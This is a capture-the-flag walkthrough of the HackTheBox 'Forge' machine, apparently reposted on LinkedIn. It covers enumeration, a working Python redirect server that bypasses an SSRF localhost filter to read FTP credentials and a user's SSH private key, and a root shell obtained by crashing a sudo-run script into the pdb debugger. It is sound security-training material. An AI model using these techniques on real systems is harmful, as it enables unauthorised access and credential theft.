HackTheBox: Forge - Detailed Walkthrough
Background & Summary
This was the 12th box I rooted on HackTheBox, with a current total of 19. It is a medium level box running linux, and features an SSRF vulnerability that can be exploited to access local resources. Data exfiltration through this vulnerability reveals an FTP server, where the user's SSH key can be found to gain access to the box. Enumeration of the box reveals a Python script that the user is able to run as root. Any errors the script encounters during runtime causes it to execute PDB, an interactive Python debugger. A shell can be spawned from the debugger, giving root access to the user.
Enumeration
Nmap
nmap -sC -sV 10.10.11.111 -vv
Nmap reveals three open ports for FTP, SSH, and HTTP. We see the box is running Ubuntu, and we are being redirected to forge.htb on port 80. We need to modify our hosts file to access the webpage:
echo "10.10.11.111 forge.htb" | sudo tee -a /etc/hosts
Apache
Besides browsing the pictures, the only thing we can do on the site is click "Upload an image."
Fuzzing
Before I started testing the file upload feature on the website, I also ran two fuzzing scripts in the background. These scripts are part of my general methodology and I run them in the background on every box I attempt. The first script tries to fuzz for directories, while the second fuzzes for virtual hosts.
gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -u https://forge.htb
This reveals a directory called uploads, where most likely the files uploaded are stored.
gobuster vhost -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u https://forge.htb
Luckily, Gobuster was able to find a subdomain at admin.forge.htb. However, navigating to this page presents us with the following error:
Foothold
Having gathered some more information about the box, it's time to start playing with the file upload feature. The website provides two options:
I first tried the local file option by uploading a non-malicious image of a cat with glasses to see what would happen. It seemed like file names are randomized, but the contents of the file are preserved:
Even though the contents are preserved, the extension is dropped, so any uploaded file with malicious content will not be able to execute. This is likely not our attack vector. Knowing that the box is running an FTP server from our initial Nmap scan, we should turn our attention to the upload from URL option.
SSRF
The first URL I tested from this option was simply ftp://127.0.0.1. However, we get an error message stating that FTP is an invalid protocol:
Trying https://127.0.0.1 yields another interesting error:
At this point, we can try some different localhost addresses. Some possible options are:
However, these are all caught and blacklisted, so we will need to find another way to access local resources. Interestingly, we are able to get a connection back to our own machine by requesting https://10.10.14.21.
With this knowledge, we can write a python script which redirects any hits to our machine to a local address such as 127.0.0.1.
领英推荐
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
class Redirect(BaseHTTPRequestHandler):
? ?def do_GET(self):
? ? ? ?self.send_response(302)
? ? ? ?self.send_header('Location', sys.argv[2])
? ? ? ?self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
We can then run the python script with the port and redirected URL as arguments.
python3 redirect.py 8000 https://127.0.0.1
We can see from requesting the uploaded file that it successfully gets the local resource at https://127.0.0.1.
We can now access the resource we found using Gobuster at admin.forge.htb by replacing the second argument in our redirect script, and then pointing the website to our IP on port 8000:
python3 redirect.py 8000 https://admin.forge.htb
python3 redirect.py 8000 https://admin.forge.htb/announcements
From the announcements page, we get FTP credentials, and learn that the /upload endpoint on the admin page supports FTP! We are now ready to start enumerating the box with FTP, we just need to connect to the FTP server.
python3 redirect.py 8000 'https://admin.forge.htb/upload?u=ftp://user:[email protected]/'
Let's try to grab the user's private SSH key:
python3 redirect.py 8000 'https://admin.forge.htb/upload?u=ftp://user:[email protected]/.ssh/id_rsa'
Success! We can easily save this private key and SSH into the user's account on 10.10.11.111.
Privilege Escalation
Running sudo -l, we see that we have the right to run remote-manage.py as root without a password.
We should analyze the python script located in /opt/ to see exactly what it's doing.
import subproces
import pdb
port = random.randint(1025, 65535)
try:
? ? sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
? ? sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
? ? sock.bind(('127.0.0.1', port))
? ? sock.listen(1)
? ? print(f'Listening on localhost:{port}')
? ? (clientsock, addr) = sock.accept()
? ? clientsock.send(b'Enter the secret passsword: ')
? ? if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
? ? ? ? clientsock.send(b'Wrong password!\n')
? ? else:
? ? ? ? clientsock.send(b'Welcome admin!\n')
? ? ? ? while True:
? ? ? ? ? ? clientsock.send(b'\nWhat do you wanna do: \n')
? ? ? ? ? ? clientsock.send(b'[1] View processes\n')
? ? ? ? ? ? clientsock.send(b'[2] View free memory\n')
? ? ? ? ? ? clientsock.send(b'[3] View listening sockets\n')
? ? ? ? ? ? clientsock.send(b'[4] Quit\n')
? ? ? ? ? ? option = int(clientsock.recv(1024).strip())
? ? ? ? ? ? if option == 1:
? ? ? ? ? ? ? ? clientsock.send(subprocess.getoutput('ps aux').encode())
? ? ? ? ? ? elif option == 2:
? ? ? ? ? ? ? ? clientsock.send(subprocess.getoutput('df').encode())
? ? ? ? ? ? elif option == 3:
? ? ? ? ? ? ? ? clientsock.send(subprocess.getoutput('ss -lnt').encode())
? ? ? ? ? ? elif option == 4:
? ? ? ? ? ? ? ? clientsock.send(b'Bye\n')
? ? ? ? ? ? ? ? break
except Exception as e:
? ? print(e)
? ? pdb.post_mortem(e.__traceback__)
finally:
? ? quit()
First, the script picks a random number between 1025 and 65535 to use as a port. It then opens a socket on 127.0.0.1 at the random port it chose previously. When a connection opens, it asks the connector to authenticate against the password "secretadminpassword." Upon successful authentication, the user is provided with 4 options: View processes, view free memory, view listening sockets, and quit.
The first thing I noticed is that each option results in a command being run as root. If there was a way to inject our own input into the subprocess.getoutput() function, this would absolutely be a PE vector. However, these commands are hardcoded, and the user input is only checked against 4 numbers. Lame.
The interesting part of this script is actually in the exception handler. If the script encounters an exception, it breaks into PDB, a Python debugger. I had never seen this before, but a quick Google search reveals that it provides many features, including a Python interpreter. Theoretically, if we can crash the program, we can use the Python interpreter to spawn a root shell.
With this in mind, to see if this will work, we first need to run the script as root, then connect to it. We can use netcat to connect to the socket and interact with the program.
The program expects a number, so let's try entering a letter:
If we navigate back to the Python script, we see that we have successfully crashed the program and entered PDB!
The last step is to enter the python interpreter and try to spawn a shell. Because PDB is being run as root, if we can successfully spawn a shell from this process, it will be a root shell. Let's run the "interact" command and use the "pty" library in Python to try to spawn a shell:
Success! We now have root access to this box and can grab the root flag.
Thank you so much for reading!
1st year PhD @ UCSD CSE
3 年This article was a great start to my Friday morning. Keep the articles coming, Sasha!